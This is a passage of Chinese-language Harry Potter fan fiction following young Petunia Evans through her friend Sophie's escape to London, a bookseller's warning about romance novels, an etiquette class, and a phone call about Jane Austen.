“以后你去哪里,都要告诉妈妈和我,知道吗?”爸爸严肃的目光瞪了过来,但看见佩妮的神色,他的语气又软了下来,“我们是为你好,佩妮。我们只想你健康快乐地长大。”
“嗯。”佩妮点了点头,奶油汤的火候可能有一点过了,喝到嘴里最后泛起一丝焦苦。
“噢,约翰,不要对佩妮那么凶。”妈妈适时打断了爸爸,“佩妮一直都是一个乖巧又令人省心的孩子,她是一个淑女,是吧佩妮?”妈妈对佩妮眨了眨眼睛,但是佩妮此刻根本无法妈妈的眼睛,她只能低着头,不断地搅弄碗里的汤汁。
“社区妇女互助协会每周六下午会有女士基本社交礼仪的授课,你已经是个大孩子了,到时候你跟我一起去。”
妈妈抚摸着佩妮的金发。
“做一个淑女。”妈妈说。
有东西在敲佩妮的窗户,她打开窗,塞勒涅飞了进来,她扔下了莉莉写给佩妮的信,歪着头看向佩妮。
“我去楼下给你拿些面包吃。”佩妮要起身,但塞勒涅啄了啄佩妮的手指,振翅飞了出去,现在她已经长大了,她要自己去科克沃斯外面的草地树梢上狩猎。
佩妮拆开莉莉的信,她在信里先给她讲了一些她在霍格沃茨最近遇到的事情,然后她告诉上个周末她去了霍格莫德,这是英国唯一一个全是巫师的很有趣的村庄,霍格莫德那些神奇的店铺最近又上了一些稀奇古怪的玩意,如果看到合适的,莉莉就带回来送给她。
佩妮坐在书桌前,捏着莉莉给她的信,她有一个晚上的时间来给莉莉写回信。她拿出她的纸和笔,看着窗外,视线里倒映着夜空中,塞勒涅自由飞翔的身影。
46.chapter45
“你真是个疯女人。”佩妮对索菲说。
佩妮没有去上最后一节课——那是艺术鉴赏史,她并不想听老修女在台上朗读圣经,普尔佳这节课也没有来,于是她悄悄离开了学校,骑上自己的单车,驶来科克沃斯镇上唯一的这家大型医院。
她对这医院还有些印象,小时候莉莉发烧,一直到凌晨都不退热,爸爸妈妈带她来过这里。但她一点也不喜欢这里空气中消毒水的味道。
医院里人来人往,有人往佩妮身上投来了好奇的视线,但佩妮统统无视了这些,她跑去楼梯处,查看楼层索引,但是她忘了自己根本看不懂这些专业的名词。
没办法,她只好硬着头皮问一楼导诊台的人:“请问断腿的病人住在哪儿?”导诊台的坐着的那个人看也没看佩妮,不耐烦地说了一句:“10楼。”
佩妮匆匆道了谢,跟着一群人挤进了电梯,又在10楼跟着另外一群人挤了出去,这一层消毒水味道更重了,佩妮透过玻璃窗,一扇一扇地观望过去,在最后一间房,看见了索菲栗红色的头发。
索菲的病床在靠近阳台的那一侧,现在整间病房只住着她一人。
索菲躺在床上,双腿打着厚厚的石膏,她的脸比医院的墙壁还白,她穿着病人的蓝色竖条纹衣衫,衣服一点都不合身,看起来像上个世纪的人穿的。但这一切都无损于她的美貌,她脸上那得偿所愿的神采甚至使她看起来比之前还光彩照人。
“你真是一个不折不扣的疯女人。”佩妮盯着她看了半晌,颇有些咬牙切齿地开口。
索菲看着佩妮,弯起了她的眼睛。
“吓到你了吗?”索菲拍了拍自己床边空出来的位置,“来,坐这儿。”
佩妮抬眼看了一下门口,房屋紧闭,走廊里不时传来开关门的声音,这声音使她有一些紧张。
“噢,现在根本还没有下课,佩妮,你胆子也不小呢。别担心,从我住进来的第一天,阿加莎女士就没有来过,你是第一个来看我的人。”索菲说。
“你把我们所有人都吓坏了,你真是讨厌极了。”佩妮走过去坐在了索菲的身边,“疼不疼?”她的手碰到了索菲双腿上厚厚的石膏和绷带。
“可把我疼坏了,我请求医生护士们给我止疼药,但他们总是很晚才给我。”
“活该。”佩妮有些忿忿地说。
索菲笑起来,她把被子拉到下颌处,全身只露出一张楚楚动人的脸,她对自己惨烈的结局完全不以为意,脸上只有发自肺腑的微笑:“但是现在我自由了,她再也没法管到我了,你得为我高兴。”
佩妮却无论如何都没法像索菲一样开心起来
“她,”这是一个沉重的话题,但是想到阿加莎女士为索菲捡书包的模样,还有她的书桌上的相框,佩妮还是忍不住问,“她不是你的姨妈吗?她为什么要这样对你。”
索菲想要侧过身看着佩妮,但她的腿限制住了她,于是她只好平躺在床上,对佩妮说:“这是我和你之间的秘密,好吗,佩妮。”
佩妮点点头。
索菲给佩妮讲述了一段不长不短的故事。
“我妈妈是阿加莎女士的妹妹。她们的亲生父母,也就是我的外公外婆很早就去世了,她们从小就被教会收养。”
“我妈妈长得很漂亮,她被一对伦敦的夫妇收养了,但阿加莎被一个人留在了教会。好景不长,妈妈跟那对夫妇去了伦敦后,那对夫妇因为痨病去世了。我妈妈长得非常漂亮,她在伦敦成为了一名小有名气的演员,然后她就认识了我爸爸,他是一个导演,但是在妈妈怀我的时候,爸爸去世了,妈妈只好回到了科克沃斯。”
“生下我不久,妈妈就去世了。她把我托付给了阿加莎女士。”
“阿加莎原本打算将她的一生都奉献给教会,一个麻烦的妹妹给她带来了另外一个麻烦。”
“她不喜欢她妹妹,她也不喜欢我,我猜她在埋怨当初被带走的为什么是我妈妈而不是她。她说我妈妈从小就是一个小疯子,当我反抗她的时候,她说我身上也带着我妈妈的那些古怪的疯病。”
“她可能认为我不应该出生,不然她的妹妹就不会死,她也不必摊上这样一个麻烦。”说这句话的时候,索菲的声音听起来有些尖锐,“但偏偏我出生了,还长成了不符合她期待的模样。”
可是佩妮想起那天晚上,阿加莎办公桌上那张婴儿的照片。但她看见索菲的神情,她把话咽了下去。
“你自由吗,佩妮?”索菲在床上扇动了一下她纤长的睫毛,突然问。
这是她第三次问佩妮这个问题,佩妮心里一跳,她低着头,很轻声地回答:“我是的。”
佩妮感受到索菲在打量她的神色,但佩妮一直没有抬头看她,她听见索菲笑了一声,然后说:“那你可真幸运,比我们大多数都幸运。”
“我同她坐在教堂里,那些画在天空中看着我。我们只是亚当的一根肋骨,是夏娃先偷吃了苹果,因此被逐出伊甸园,从此要忍受疼痛为自己的原罪赎罪。我们需要安静,服从,为自己的欲望赎罪,进行更多的内省和忏悔。”
“但是佩妮,我们能忏悔什么?忏悔被出生的命运和怎么都无法抑制住的内心吗?”索菲从被子里伸出她的手,“她想做一只鸟,飞过西伯利亚的上空。”
索菲的话使佩妮动容,抬手之间,索菲手上的鞭痕显露了出来:“所以她还拿教鞭打你。”
索菲沉默了一下:“是,在我犯错的时候。她先鞭打自己,再鞭打我。这是她们教会以前的传统,在她很小的时候,老修女也这么打她。她们认为在疼痛中更能自省和忏悔。”
想象着鞭子落在自己身上的场景,佩妮忍不住打了一个寒战。“毕竟人生,疼痛难免。”无端端,斯内普夫人带点讥诮的面容还有她说的话浮现在她的脑海里。
“那张车票,索菲。”佩妮想起那张被阿加莎女士撕毁的车票,她心里涌上一个猜测,她为索菲大胆的想法而感到心惊,“等你伤好之后怎么办,阿加莎女士说你被开除了。”
“佩妮,我要去伦敦。”索菲轻声对佩妮说。
“你去伦敦做什么?”
“我有一篇小说要出版了,佩妮。”索菲躺在床上看着佩妮,轻描淡写地向佩妮吐露了一个重磅消息。
佩妮被她说的话惊得半天没有回过神,等她反应过来,语气里带上了一点酸涩:“你在写作,索菲
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,你都不告诉我!”她有些埋怨索菲的隐瞒,想起她当众朗读的文字,一丝隐秘的嫉妒浮现出来,内心的复杂滋味使她一时间说不出其他的话来。
“我要怎么说出来呢佩妮。其实早在认识你的时候,我就开始写了,说真的,那时候我太痛苦了,佩妮。她总是不满意我,而我也绝不想成为像她那样的女人。”
“那些小说,无数个夜晚,它们带我飞出阁楼。”索菲调整了一下自己的姿势,使自己躺得更舒服些,“但我总感觉不够,于是我模仿着它们写了好几本,只有在看小说,还有写下那些东西的时候,我才不痛苦,我才自由。”
“等写完那些小说后,我开始担心,我不忍心让我的心血就这么一直躺在我抽屉的最底层,还要时时担心它们被翻找出来,最终被投进壁炉火焰里的命运,所以我瞒着阿加莎联系了好几家出版社。”
“佩妮,上帝终于有一次听见了我的祈求。一家在伦敦的出版社看上了我的小说,他们给我寄了一笔钱,买下了我的小说,我的小说要出版了。”
“然后他出现了,佩妮。”说到这句话,一丝红晕浮现在了索菲的脸上,冲淡了她脸上原先义无反顾的表情。“他是出版社最年轻有为的编辑。我的小说送到了他手上,他说我笔下的故事使他动容,他特地来科克沃斯见我,给我带来了一笔钱,这是我小说的版权费。他说他甚至向一名导演推荐了我的书,要拿去改编成电影。”
她对佩妮眨了眨眼:“所以,故事开始了。”
“佩妮,我早跟你说过,真的会有这么一个人出现,他出现的时候,就像太阳,照亮了我的整个人生。无论如何,我都要去伦敦。”
小说出版、改编、稿费,这些词对佩妮来说听起来遥不可及,她看着索菲,她要自由了,她远比她想象得有勇气得多。
但佩妮一下碰到了索菲缠满绷带,打着石膏的腿——她也付出了相应的代价。她一下想起来在小巷里,索菲仿佛被嵌在石墙上如此纤细的身影,还有男人完全笼罩她的阴影,突如其来的不安和忧虑压倒了其他的情绪:“索菲,值得吗?你会保护好自己吗?”
佩妮的表情使索菲笑起来,她说:“不要用那种表情看着我,佩妮,把你的眉头松开来,这就是我给自己选择的生活,我会保护好自己的。”
这是索菲想要的生活,索菲得偿所愿了。佩妮尽量轻快地说:“可是这里有个小骗子,上一次明明答应了我,但现在双腿已经断了,躺在床上连下床都做不到。”
这句话终于使索菲露出了一个看起来符合她年龄的轻快笑容,她佯装嗔怒地伸手拍向佩妮,然后露出一个郑重的表情:“我保证。”
“请帮我把这些书还给诺拉,在灰与榆是我少有的自由时光。”索菲拉开了她的床头柜,里头放着好几本书,看着这些书,索菲的目光十分温柔。
佩妮替索菲将这些书拿出来,她突然很想看一下索菲写的小说:“我能看你的小说吗?”
索菲在病床上对佩妮眨了眨眼:“等你在书店遇到它,你会一眼认出来的。”
在佩妮抱着书离开病房之前,她听见索菲的声音在她身后响起。
“对不起,佩妮。”
47.chapter46
索菲出院的那天,佩妮站在医院对面的马路上看见了她。
索菲穿着那件红色的裙子,她的腿还没有完全好,双侧腋下架着两根拐杖,支撑着她纤细的身体。但她画了淡妆,脸上洋溢着灿烂的微笑,整个人看起来既像一支娇嫩欲滴的玫瑰花,又像一只灵动的小鸟。她手臂上的鞭痕淡了下去,只剩几道暗色的痕迹,远远看过去就像玫瑰上生的棘刺。
佩妮正要走过去,一辆红色的计程车驶了过来,停在了索菲的面前。
佩妮停下了自己的脚步。
一名高大的男士从车上下来,他在她的脸上落下一个吻,接过了索菲的拐杖,扶住了她。在那男人的身边,索菲的身影显得十分娇小。男人给索菲拉开了车门,他转过脸来,这就是那个在小巷里的那个男人。
坐进计程车之前,索菲看见了佩妮,她冲佩妮招了招手,看嘴型她向佩妮说的是再见,但索菲目光一转,像看见了什么似的,眼神和笑容都凝固了起来。
佩妮顺着她的目光看过去,相隔几个路口,阿加莎女士灰褐色的头发和深色的衣袍一闪而过,十字吊坠反射出的光线使佩妮忍不住眯起了她的眼睛,但等她眨了眼睛忍下生理性的眼泪,再次望过去,街道上什么也没有。
她转头去看索菲,索菲身侧的男人抬手看了看自己手腕的表,皱起了眉头,半推着将她塞进了计程车里,然后黑色的车窗摇了上来。
佩妮看不清车内的情形了,她只好对着黑色的车窗挥了挥手,看着计程车驶向了远处的街道。这一带街边没有树,阳光直落落地撒在地面上,蒸腾起热气,使一切景物看起来都有些变形。
佩妮看着计程车离去的方向,下意识朝前追了几步,但马上她就停了下来。
佩妮坐在伊索尔德的书桌前,桌上放着好几本书,里面既有索菲给她的,也有自己从诺拉那里借来的,明天她要把这些书拿去灰与榆还给诺拉。她没有将这些书带回家,她把它们放在紫藤路17号。
夜风从窗外吹进来,带来不知谁家餐桌上黄油的香气。
索菲离开科克沃斯了,她要去伦敦,她有一本小说要出版了,这个念头使一股嫉妒悄然盘旋上佩妮的心头。
她翻开那些小说,第一本是索菲在阅读之夜,同她讨论的艾琳小姐的故事。
诚如索菲所说,艾莉小姐的男主人公本质上是一个温柔的人,只有艾琳小姐看见了男主人公内心最柔软的那一面,她唤醒了他对她的感情,获得了他的爱慕与关注,他们一起踏过了那条河。
佩妮翻开其他的小说,她喜欢的布伦南小姐,还有其他各式各样的小姐们,这些故事她早就烂熟于心,她只挑自己喜欢的部分看,享受着成功渡河的这个故事带给她的满足感。
在这些故事的开头,女人们因为各式各样的原因被抛在河的这一侧。但在小说的最后一页,男主角和女主角都获得了幸福的结局,彼此挣脱各自的既定命运,即将携手展开新的人生。
无论如何,佩妮想,索菲总算是得到了她想要的,索菲拥有无与伦比的才华和勇气,不要为她担心,你得祝福她。
这些小说里,无论是艾琳小姐的男主角,还是冬日烈火的费特南先生,虽然他们出场总是冷酷无情,但他们本质上是一个温柔的人,他们被她们的爱所唤醒,然后他们握住了女主角的手,渡过了那条河。
总是这样。
佩妮一遍又一遍地经历着渡河的故事,她本应当为这结局感到快乐,但完美结局带给她的欢乐幸福感像潮水褪去后,一股空虚反常地涌上了佩妮的心头。
怎么会这样?
她把这些小说合了起来。
伊索尔德的书架从高处俯视着她。
嘿,请不要这样看着我,我会敲开你们的大门的,我会有进去的那一天的,佩妮在心底里对书架说。
她看见了那本《小妇人》,她把那本书抽了下来,扉页上写着伊索尔德的妈妈对伊索尔德的祝福。
“愿你的灵魂永远自由。”
佩妮把书递给诺拉,告诉诺拉这是索菲还来的书。
诺拉接过那些书,听见索菲的名字,脸上带上了一副混合着怒意和惋惜的表情:“索菲真是一个小混蛋,当初就不应该帮她。”
索菲的事情在科克沃斯的女人间传了个遍,诺拉同其他女人们一样,既为索菲的遭遇感到心痛,又为她胆大妄为的冲动感到气愤。
“早知道她会摔断自己的腿,当初我就绝不该……”诺拉看见了佩妮,她把没说出口的话咽了下去,对佩妮说:“佩妮,你不能再来阅读之夜,那些书你不能再看了。我是说,起码在你成年之前,等你长大后,我们再来讨论那些书。”
佩妮乖顺地点了点头。
看见佩妮的神色,诺拉的语气软了一下,她叹了一口气:“我这儿还有很多活呢,只要你愿意来帮我,灰与榆的大门随时为你敞开,除了二楼的门。”
这让佩妮在心里松了一口气。
“抬起
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头,看着我佩妮。”诺拉一直对她们都很温柔,现在她的语气里却透出了十足的严肃。
佩妮听话地抬起了她的头。
“索菲她是个小混蛋,但她也是个小笨蛋。”诺拉看着佩妮,她语气中饱含的情感使佩妮的鼻尖有一些发酸。
“事实上,我认为你们没有错,书也没有错,佩妮。在这件事情上,错的是我,你们真的太小了,我不应该过早地把你们带进来。但是佩妮,你不能再做梦了。”
做梦?做什么梦?
诺拉低下头抚摸了一下佩妮还给她的书,她看着这些书时的表情十分温柔:“这些书很好看是吗佩妮?”
佩妮永远也忘不了读第一本书时带给她的震撼,它们给佩妮打开了大门,邀请她进入了一个光怪陆离的世界,但是——
“大家都很喜欢这些书不是吗,它给我们这些女人编织了一个美梦,让我们短暂地逃避现实。”
“我是一个卖书的人,把这些书推销出去是我的使命。我邀请你们进入到这个世界里。”
“但是佩妮,不管它带给你多少欢愉的时刻,它始终有一个致命的缺点,”诺拉抬起头看着佩妮,“无论在书里发生什么事情,你总是安全的,你只需要隔着玻璃观看它,获得它给你提供的情绪就足够了。那些事情发生在女主角的身上,没有发生在你的身上,而且你早就看过结局了,那里总有一个美好的终点。”
佩妮点点头,是的,无论渡河的过程如何惊心动魄,但女人们最后总是会踏上岸边的。
“你一遍一遍经历着她们的生命,但其实这些早就已经是被设定好的,因为你知道终点就在那儿,所以过程无论多么惊心动魄,你和她都是安全的。”
“但是佩妮,我要说的是,美梦始终是美梦,做一百遍它还是梦,而现实的那些问题仍然还在那里。”
佩妮的表情把诺拉逗笑了,她对佩妮开了一个玩笑:“佩妮,我们会不会也在哪个故事里?我和你,我们也是被创造出来的人物,冥冥之中有一只笔也在撰写我们的命运。”
“你看了那么多的故事,在那些已经出版的这些小说里,你提前看过结局了,你知道仁慈的作者会赐予她们幸福又美满的结局,你会有惊无险地到达最后的终点。但佩妮,在我们的小说故事里,你怎么保证撰写我们故事的那支笔,一定能够我们带来一个美好的结局呢?”
“你得把那支笔攒在自己的手上,佩妮。醒过来,你得拥有活在现实里的勇气。”
48.chapter47
妈妈带佩妮去参加社区组织的淑女社交礼仪课。
“希望今天讲一些内容可以有趣一点。”妈妈说,她的高跟鞋踩在石板路上,鞋跟叩击地面发出清脆的响声。日头有一些大,刚走了一半,佩妮就感觉自己的背上出了一层薄汗。
在门口的海报上手绘着一副金发女士的图像,宣传今日授课的这位斯通女士曾服务于英国皇室礼仪团体。
于是教室里人满为患,每位太太的面前都放置着本子和笔,佩妮和妈妈去晚了一些,只能坐到最后面,教室里的空气有一些闷热,佩妮的额头上很快冒出一层汗,妈妈递过来一块手帕,佩妮接过来,妈妈手上拿着另外一块手帕,她的头上也是一层汗。
阶梯式的教室下面站着一位年过半百的金发女士,她穿着得体的西装裙,头发梳得整整齐齐,脸上画着精致的妆容,嘴角带着恰到好处的笑意。
“时间到了,那我们开始今天的课程。”讲台上那位金发女士向众人颌首,她的声音十分优雅,带着冰凉的质感拂过心里,人群一下安静了下来。
“今天我不讲那些传统的家庭餐桌礼仪。”授课的女士嘴角扬起的弧度显得她自信十足,她的嘴唇可真红,佩妮心想,她把小帕子叠成了方块,拿在手里悄悄地扇着风。
人群发出一声细微的哗然,但是今天出席的都是太太和小姐们,因此金发女士只是稍微一抬手,场面一下就又恢复了秩序。
“那些东西稍微有一些过时了,”女人说,“要我说,女人的战场可不只有家庭,女人的战场还有职场,所以今天我们来讲职场商务下午茶礼仪。”
她的声音极富有鼓舞性,不少太太还有她们带来的孩子们都不自觉把自己的身体坐直了,稍往前倾,神情看起来十分专注。
但是佩妮忍不住探着头四处张望了一下,今天她看见了很多跟她年龄相仿的女孩子,在各式各样的发饰里,她看见了一条棕色的发带,她认出来了,这是学校里那个找她要了薇拉杂货铺地址的女孩。还有些其他熟悉的面孔,密密麻麻地挤在这间不算大的教室里。
“佩妮,专心些,这些知识你以后都用得上的。”妈妈看见了佩妮的动作,有些嗔怪地推了推佩妮,轻声说。
“抱歉,妈妈。”佩妮收回了自己的视线,低头摊开自己的笔记本。
课程结束后,走在回家的路上,妈妈问佩妮:“斯通女士讲的真是太好了,你记住她讲的话了吗?”
佩妮点点头:“在会议开始之前,作为一名合格的秘书,你需要查看咖啡机是否运转得当。你还需要识别咖啡豆的产地,看看它产自于阿拉比卡,还是埃塞俄比亚。”
“如果有人不喝咖啡,你需要准备好红茶,在搅拌茶叶的时候不能发出声音。”
妈妈看起来对佩妮的回答十分满意,她摸着佩妮的头发说:“你们以后都会有拥有自己的工作,这可是一件了不得的事情,我们以前可是没有这样的机会的。”
阳光从她们背后打过来,将她们的影子投射在石板路上。佩妮的影子和妈妈的影子被拉得老长,在行走间不时交叠在一起。莉莉的头发和眼睛是妈妈的馈赠,佩妮的体型和金发则更像爸爸。但是没关系,从影子上来看,她和妈妈都穿着一样的裙子,梳着相似的发型,佩妮也是妈妈的女儿。
“我已经同奥利维亚说了,她答应我会在伦敦好好留意一下好的工作岗位,等你从现代中学毕业,你就可以去伦敦找她了。”
看,我是自由的,我不需要摔断腿也能去伦敦。
“在工作上我可没有办法教给你更多了,这课程的东西出乎我的意料,我原先还以为又是那老古板的一套呢,我要多带你来参加这些课。唉,不知道巫师的学校会不会给莉莉进行这些职业培训,这些知识可是很重要呢,可惜我连去对角巷陪她购买东西都做不到。”
我也去不了,妈妈,我们没法穿越那堵石墙。
莉莉现在在做什么?她是不是奔跑在会动的楼梯上,骑着神奇的扫帚在天空自由地飞翔,举着她的魔杖做各种神奇的事情。
为什么不能是我呢?
好嫉妒啊。
但是无论如何也没有办法再憎恨她。
她抱紧我的胳膊,她说莉莉永远爱佩妮。
“抬起头来,佩妮,看着我。”妈妈停下来看着佩妮,佩妮只好抬起头回看着妈妈。
妈妈的眼睛很温柔,同莉莉相似的眼睛里传递着同样的神情,霍金斯太太,诺拉,还有灰与榆的女人们也用这种眼神看着她。
佩妮的胸口灼痛起来,好似被利剑穿透了,伊索尔德说,这是爱。
那个诗人叫什么?噢,博尔赫斯,她想起来了。
妈妈很认真地对佩妮说:“佩妮,你已经比大多数人都要幸运了,这是一条大多数人都会选择的,很安全的路,明白吗?”
在妈妈的目光下,佩妮只能点头。
妈妈说的没错,她已经比大多数人都要幸运了。
“但是佩妮。”伊索尔德的声音从电话里响起,电话真是一件神奇的物品,距离从此消弭了,好像她们之间从未分开过,佩妮把话筒紧紧地靠在耳边,脸上不自觉浮现出笑意,伊索尔德的呼吸声近在咫尺。
“我总算找到了一个公共电话亭,”伊索尔德说,“我这边街灯亮起来了,你那边呢?”佩妮看着墙上的钟表,对着话筒小声雀跃地说:“我这边的街灯应该也亮起来了。”
“高端时尚真的很好看,伊丽莎白小姐挫败了苏格的阴谋,拥有了自己的公司,和皮特先生重新在一起了。”
“‘她爱他,即便生活让她们分道扬镳,她也会一直爱着她。’”佩妮迅速接过了伊索尔德话,但她说这话的时候很小心,她把话筒紧紧靠在嘴边,用手捂住,几乎是用气音在说话。
她的眼睛看着爸爸妈妈,妈妈在厨房收拾餐具,爸爸坐在沙发上看着电视,电视机的声音有一些大,她说这句话的时候,爸爸妈妈都没有看过来。
但是伊索尔德听清了佩妮在说什么,她带着笑意接着佩妮的话,把高端浪漫的结局续了下去:“但她很诚实,‘她知道只有保持真实,她才能尽其所能地过好每一刻。它将会持续至消失的那一刻。如果那是一生一世,那非常棒。如果它只能持续一段时间,那也很不错。没有绝对的天长地久。只能尽人事,听天命。’”
“‘然后她踢掉了鞋子,开始埋头于工作之中’。”佩妮继续接上,这一刻,独属于她们两个人的默契使她们同时在电话里笑出来,爸爸扭头看了佩妮一眼,佩妮控制住了自己的嘴角。
“我也要像伊丽莎白小姐一样,投身于工作当中。佩妮,一会儿我要去书店买几本书看。呀,今天街上有好多人,我得从他们中间传过去。”
“A level的课程是不是有一些难?”佩妮有些紧张地询问。
“有一点难,佩妮,但是这是我为自己选的道路,走在这条路上,我感觉很自由。”风声、汽车喇叭声还有伊索尔德的声音混合着电流传过来,使佩妮忍不住畅想伊索尔德那边的景象。
“噢,对了,佩妮
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。”伊索尔德说:“还有一件事,你还记得暑假我们一起看的那本傲慢与偏见吗?”
佩妮愣了一下笑起来:“当然记得,伊丽莎白小姐还有达西先生!”她和伊索尔德友情的开始。
“嗯,”伊索尔德的声音从电话那头传过来,“你想听简·奥斯汀的故事吗?”
佩妮把耳朵紧紧贴在了话筒上。
“我正在修习英国文学史,在这门课堂上,我听说了她的故事。1796年,20岁的奥斯汀与一个名叫汤姆的爱尔兰青年相恋了,简·奥斯汀家境拮据,而汤姆家境富裕……”
佩妮一下就察觉到了伊索尔德这些话里的意思,她兴奋地说:“这是傲慢与偏见的原型对不对,怪不得她能写出那么优美的故事。”
伊索尔德带着笑意的声音从电话那头传过来:“一开始我也以为是,但是老师们说关于傲慢与偏见的原型没有那么简单,汤姆可能只是达西先生原型的一部分,这个话题在文学界还争论不休呢。简和汤姆之间可能很相爱,据说他们还曾经要私奔过。”*
“后来呢?”佩妮兴奋地询问。
“但他们最后没能私奔成功*,私奔成功就不会有傲慢与偏见啦,佩妮。”伊索尔德的声音使佩妮沉默了下来,这个后来使佩妮感到有一些失望,但她又觉得伊索尔德说的话很有道理。
“现实的结局是,简最终没有选择和汤姆在一起。至于为什么,没有人知道,简和汤姆之间的信件都被烧光了。”
“简·奥斯汀没有嫁人,她终身未婚,和她的姐姐一起生活了一辈子。但她一直在写作,在她的一生中创作了好些伟大的作品。”
“一般来说,作家的作品是对现实生活的一种补偿,他们将在现实中无法呈现的东西以另外一种形式表现出来。所以她给了她小说故事里人物一个完美的结局。”
“但她本人却选择了另外一种生活方式,虽然她终身也没有过上世俗意义上的幸福生活。”
佩妮挂断电话。爸爸从沙发上扭过头来问:“这是你的哪位朋友?”
“在切尔滕纳姆温德米尔女子中学读书的那位朋友,她正在读A level,准备考大学。”佩妮如实说。
“那可是个贵族女子学校,佩妮你是怎么认识这样的朋友的?”妈妈惊呼。
“二年级的那个暑假,在图书馆,我给图书馆管理员送包裹的时候认识了她。”佩妮说,“她就住在在紫藤路17号,但在她上学的时候,她们家没有人。她拜托我时常去她那儿看看,所以我放学后可以去那里吗,爸爸妈妈?”
“那当然,”妈妈说,“紫藤路那块可是体面人住的地方,拥有这样一个朋友可是一件不得了的事情。但你要注意安全,要从马车坡过去,不要走炉灰巷。”
佩妮点点头。
佩妮的书桌上躺着那本她续写的布伦南小姐的故事。
她手边没有那本冬日烈火,但不要紧,剧情早已经牢牢记在了她的心里。
佩妮翻开她续写的故事,布伦南小姐再度启程,她只写到布伦南小姐成功渡过了河,找到了失落剑术的传人。但现在看来这篇一腔冲动写出来的续写产物文笔并不优美,部分情节中的人物形象已和冬日烈火相去甚远,和索菲的文字比起来,幼稚得可怕。
最重要的是,布伦南小姐已经获得了一个幸福美满的结局,她还有必要再继续挥动她的宝剑吗?
舞台上,黑色的河水在她心底里流淌。
时间已经很晚了,她暂时把笔记本收进了自己的抽屉。
49.chapter48
诺拉要在灰与榆举办了一个打折出售二手书的活动,处理她那些地下室里的藏书,还有一些包装受损或者沾染了污渍无法正价出售的瑕疵书籍。佩妮协助她把那些书从地下室搬出来,放在了书架上,一部分要打折处理的都是浪漫爱情小说。
佩妮站在书架前拿着扫尘帚把书本上的灰尘扫去,给这些书本一本一本贴上打折出售的标签。佩妮在里头瞧见了一本冬日烈火,她拿起来,给它贴上标签,这个版本的封面是布伦南小姐拔出她的宝剑警惕地站在悬崖上远望,旁边是费特南先生,佩妮的手指在书籍的封面上流连。
出版社每天都在出版这么多的小说,索菲甚至即将出版一本书,开启她崭新的生活。
“诺拉,怎样才可以出版一本小说。”佩妮不禁有一些好奇地问。
听见这个问题,诺拉立刻警觉起来:“嘿,佩妮,这个可不是你现在需要想的问题,你有听我的话,没有再看那些书了吧?”诺拉站在收银台后面看着她,意有所指。
“我只是问一下而已,诺拉,我当然有听你的话。”事实上佩妮并没有完全听诺拉的话,她跑去了图书馆,在索菲曾经告诉她的书架中秘密地流连。但是她遇到了一个新的问题,也许是那些浪漫小说都太过于老旧,幸福结局带给她的快乐总像一个气泡一样,转瞬即逝,随后强烈的空虚感再次席卷了她。
怎么会这样?也许是书架上的那些浪漫小说不够新,不够好,等她毕业后去伦敦,她就可以在伦敦的书店里挑选新的浪漫小说,佩妮这样认为。于是这段时间佩妮放弃了阅读浪漫小说,改去紫藤路,继续尝试推开伊索尔德书架上那些书的大门。
“你现在最重要的事情,就是好好上学,什么事情都等你长大再说,”诺拉低下头开始清点手边的条目,“顺便,把你手上的那本书放回去。”
佩妮听话地把那本冬日烈火返回了书架,继续给其他的书贴标签,诺拉从柜台转去另外一个书架前,清点新到货的书。
在她看不到的角落,佩妮重新抽出了那本冬日烈火,翻到了结局的部分。
布伦南小姐携手费特南先生,击溃了叛军。她得到了费特南先生对她一生一世守护的承诺。
——她获得了幸福的结局。
一声轻笑从佩妮的身边传来,她惊慌失措地合上书本,将冬日烈火放回了书架,看向使自己的心脏怦怦直跳的罪魁祸首。
一个女人站在了佩妮的身边,她看起来三十多岁,不,她的眼角和眉梢有一些细纹,皮肤上带着岁月的痕迹,看起来一点也不光滑,她看起来比妈妈还大。她穿着一件红色格子衬衫,下身穿一条洗得些发白的蓝色牛仔裤,若仔细看,裤子上还有一些星星点点的陈渍。她脚上蹬着的是一双陈旧的淡黄色帆布鞋,棕色的卷发扎成了一条马尾,背上背着一块被布蒙住的长方形木板,佩妮猜测那可能是个画板,她可能是个画家。
她对这个女人有点印象,这个女人早些时候就已经在灰与榆了,她的穿着使佩妮多看了几眼,有些担心她身后背着的那块长方形的木板会在穿行于诺拉不甚宽敞的书架间,碰倒佩妮好不容易摆好的书。
但这一切并没有发生,这个女人不知道什么时候背着她的画板转到了这个二手书架旁边,手上拿着几本书。
她应该听见自己和诺拉的对话,但这是诺拉的客人,佩妮压下被发现的恼羞成怒,努力礼貌地对她说:“请问有什么需要帮您的吗?”
女人冲佩妮眨了眨眼,她的五官生动起来。她凑到佩妮的身边,佩妮闻到一股若有若无的茉莉,橙花混合着金合欢的香气,她用只有佩妮能听见的声音对她说:“要出版一本书很简单,你只需要完成一个属于你的故事,然后拿去出版社,放到编辑的面前。如果他不喜欢,就换一个编辑,换一家出版社也行。”她的口音听起来不像是英国人,像美国人。
佩妮愣愣地看着她,那个女人将原先选好的书夹在腋下,伸手从书架上取下佩妮放回去的那本冬日烈火,封面使她挑起了眉,佩妮又猜不准她的年龄了,像妈妈那个年龄的大人不会露出这种表情。女人将冬日烈火翻到了背面,看了看小说简介,把这本书拿在了自己的手上。
她又从书架上挑选了另外几本书,走到了收银台呼唤诺拉:“劳驾,我要这几本书。”
叮铃一声响,佩妮看着女人拿着好些书,推开了门,径直走进了室外的阳光里。
快至正午的时候,佩妮从灰与榆出来,她刚走出一小段路,就看见那个穿着红色格子衬衫的女人坐在路边的一个屋檐下。她把背上的木板取了下来放在了地面上,新买的书就堆在上面,她一边吃着什么,一边聚精会神地盯着马路对面。
一点好奇拖动着佩妮的双脚,带她走了过去。
“你在看什么?”佩妮走近了才发现,女人手中拿着一个塞满了白色奶酪的黄色生甜椒,这样的搭配使佩妮下意识皱了一下眉。
女人被佩妮的声音吓了一跳,虽然是无意之举,但看见女人吃惊的表情,佩妮心中产生了一丝隐秘的报复的快感。女人转过视线,认清是佩妮,于是冲她笑了一下,她指着马路对面对佩妮说说:“那棵白蜡树快要死了。”这摸不着头脑的话使佩妮一头雾水,但女人说话的语气格外认真,佩妮下意识顺着她的手指看过去。
正午的太阳有些晃眼,放眼望去,一排排树下就是马路上偶尔经过的小汽车,什么特殊的东西也没有。
“它生病了,你看,顶端的枝条要枯
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萎了,变成了枯黄色,树皮颜色比其他的淡一些,还有细微的裂纹。最美的颜色,却偏偏诞生在快要死亡的时候。”女人转过脸对佩妮解释,她的声音里是说不出的惋惜和欣赏。
太阳下街道边的树每一棵外形都差不多,树盖如云,冒着统一的生机盎然的绿,佩妮根本看不出区别,她甚至不知道女人指的是哪一棵树。
